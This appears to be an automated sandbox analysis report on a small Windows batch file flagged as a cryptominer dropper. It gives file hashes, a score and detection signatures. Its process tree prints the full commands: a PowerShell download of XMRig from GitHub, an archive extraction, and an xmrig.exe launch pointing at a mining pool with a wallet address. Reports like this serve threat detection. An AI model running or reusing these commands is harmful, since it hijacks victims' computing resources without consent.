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Analysis

  • max time kernel
    4s
  • max time network
    288s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22/12/2023, 05:54

General

  • Target

    tesy - Copy (13).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 27 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (13).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3044
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1808
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4040
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
        PID:3972

    Network

    MITRE ATT&CK Matrix

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

      Filesize

      2KB

      MD5

      2f57fde6b33e89a63cf0dfdd6e60a351

      SHA1

      445bf1b07223a04f8a159581a3d37d630273010f

      SHA256

      3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

      SHA512

      42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      1KB

      MD5

      c20ac38ae3022e305b8752804aadf486

      SHA1

      4c144d6cfafb5c37ab4810ff3c1744df81493cdb

      SHA256

      03cba7e903a418a3966af1dc0debfb5fcfb2ac6d372ec48cb1b93c23e0fd1caf

      SHA512

      c9def9e5cd09d19b8b47a3f4c61893da715a6ba4b9933c885386d0425ee4ccc30d75eac1097511619d4e6259a46581f803fb38f78a15339391e4e78b0b6153e0

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_p0ev4run.kiw.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

      Filesize

      163KB

      MD5

      17dfabe56147519079329321a48931eb

      SHA1

      a47f37f9f0dfce0a0140948123e8f73205025780

      SHA256

      c48919c974136fa0932d9f2565390525f8535ea22b16b5642dfb4b5dc8763341

      SHA512

      d0e82b1b7291b628a43458fac8dec29c1053091e3fc2ec075961da0dabc21c94560b729929fa2f8d004757ffa6813c81102f4e5463ffbf37f171c21671532dee

    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

      Filesize

      34KB

      MD5

      f890396f4632b389529860fa4ecd6cbf

      SHA1

      0b67daf344c1c93ce22d7a2752f2d94459b43a51

      SHA256

      8ce01ba33669a80834f77989596a40e3d7eb46f56f74fa836ddc62461396f53e

      SHA512

      e82f4b75b6f28566bca90e4cfebf4d4ce50527b12bf84875a79f7072366814a61a552ea3615ec7f8f6a745d15311a878e01da302ba4c9831e2bdec5f42e43cb4

    • memory/1808-9-0x0000026B72390000-0x0000026B723B2000-memory.dmp

      Filesize

      136KB

    • memory/1808-10-0x00007FF987D20000-0x00007FF9887E1000-memory.dmp

      Filesize

      10.8MB

    • memory/1808-12-0x0000026B72460000-0x0000026B72470000-memory.dmp

      Filesize

      64KB

    • memory/1808-11-0x0000026B72460000-0x0000026B72470000-memory.dmp

      Filesize

      64KB

    • memory/1808-16-0x00007FF987D20000-0x00007FF9887E1000-memory.dmp

      Filesize

      10.8MB

    • memory/3972-81-0x00007FF74C940000-0x00007FF74D443000-memory.dmp

      Filesize

      11.0MB

    • memory/3972-73-0x00007FF74C940000-0x00007FF74D443000-memory.dmp

      Filesize

      11.0MB

    • memory/3972-93-0x00007FF74C940000-0x00007FF74D443000-memory.dmp

      Filesize

      11.0MB

    • memory/3972-92-0x00007FF74C940000-0x00007FF74D443000-memory.dmp

      Filesize

      11.0MB

    • memory/3972-91-0x00007FF74C940000-0x00007FF74D443000-memory.dmp

      Filesize

      11.0MB

    • memory/3972-90-0x00007FF74C940000-0x00007FF74D443000-memory.dmp

      Filesize

      11.0MB

    • memory/3972-59-0x0000026D90140000-0x0000026D90160000-memory.dmp

      Filesize

      128KB

    • memory/3972-89-0x00007FF74C940000-0x00007FF74D443000-memory.dmp

      Filesize

      11.0MB

    • memory/3972-60-0x0000026E22510000-0x0000026E22550000-memory.dmp

      Filesize

      256KB

    • memory/3972-61-0x00007FF74C940000-0x00007FF74D443000-memory.dmp

      Filesize

      11.0MB

    • memory/3972-62-0x0000026D90180000-0x0000026D901A0000-memory.dmp

      Filesize

      128KB

    • memory/3972-63-0x0000026E22B80000-0x0000026E22BA0000-memory.dmp

      Filesize

      128KB

    • memory/3972-64-0x00007FF74C940000-0x00007FF74D443000-memory.dmp

      Filesize

      11.0MB

    • memory/3972-65-0x00007FF74C940000-0x00007FF74D443000-memory.dmp

      Filesize

      11.0MB

    • memory/3972-67-0x0000026E22B80000-0x0000026E22BA0000-memory.dmp

      Filesize

      128KB

    • memory/3972-66-0x0000026D90180000-0x0000026D901A0000-memory.dmp

      Filesize

      128KB

    • memory/3972-68-0x00007FF74C940000-0x00007FF74D443000-memory.dmp

      Filesize

      11.0MB

    • memory/3972-69-0x00007FF74C940000-0x00007FF74D443000-memory.dmp

      Filesize

      11.0MB

    • memory/3972-70-0x00007FF74C940000-0x00007FF74D443000-memory.dmp

      Filesize

      11.0MB

    • memory/3972-71-0x00007FF74C940000-0x00007FF74D443000-memory.dmp

      Filesize

      11.0MB

    • memory/3972-72-0x00007FF74C940000-0x00007FF74D443000-memory.dmp

      Filesize

      11.0MB

    • memory/3972-88-0x00007FF74C940000-0x00007FF74D443000-memory.dmp

      Filesize

      11.0MB

    • memory/3972-74-0x00007FF74C940000-0x00007FF74D443000-memory.dmp

      Filesize

      11.0MB

    • memory/3972-75-0x00007FF74C940000-0x00007FF74D443000-memory.dmp

      Filesize

      11.0MB

    • memory/3972-76-0x00007FF74C940000-0x00007FF74D443000-memory.dmp

      Filesize

      11.0MB

    • memory/3972-77-0x00007FF74C940000-0x00007FF74D443000-memory.dmp

      Filesize

      11.0MB

    • memory/3972-78-0x00007FF74C940000-0x00007FF74D443000-memory.dmp

      Filesize

      11.0MB

    • memory/3972-79-0x00007FF74C940000-0x00007FF74D443000-memory.dmp

      Filesize

      11.0MB

    • memory/3972-80-0x00007FF74C940000-0x00007FF74D443000-memory.dmp

      Filesize

      11.0MB

    • memory/3972-87-0x00007FF74C940000-0x00007FF74D443000-memory.dmp

      Filesize

      11.0MB

    • memory/3972-82-0x00007FF74C940000-0x00007FF74D443000-memory.dmp

      Filesize

      11.0MB

    • memory/3972-83-0x00007FF74C940000-0x00007FF74D443000-memory.dmp

      Filesize

      11.0MB

    • memory/3972-84-0x00007FF74C940000-0x00007FF74D443000-memory.dmp

      Filesize

      11.0MB

    • memory/3972-85-0x00007FF74C940000-0x00007FF74D443000-memory.dmp

      Filesize

      11.0MB

    • memory/3972-86-0x00007FF74C940000-0x00007FF74D443000-memory.dmp

      Filesize

      11.0MB

    • memory/4040-27-0x00007FF987D20000-0x00007FF9887E1000-memory.dmp

      Filesize

      10.8MB

    • memory/4040-31-0x000001D6A6AC0000-0x000001D6A6AD0000-memory.dmp

      Filesize

      64KB

    • memory/4040-29-0x000001D6A6AC0000-0x000001D6A6AD0000-memory.dmp

      Filesize

      64KB

    • memory/4040-56-0x00007FF987D20000-0x00007FF9887E1000-memory.dmp

      Filesize

      10.8MB

    • memory/4040-32-0x000001D6A8DE0000-0x000001D6A8DF2000-memory.dmp

      Filesize

      72KB

    • memory/4040-33-0x000001D6A8DC0000-0x000001D6A8DCA000-memory.dmp

      Filesize

      40KB

    • memory/4040-28-0x000001D6A6AC0000-0x000001D6A6AD0000-memory.dmp

      Filesize

      64KB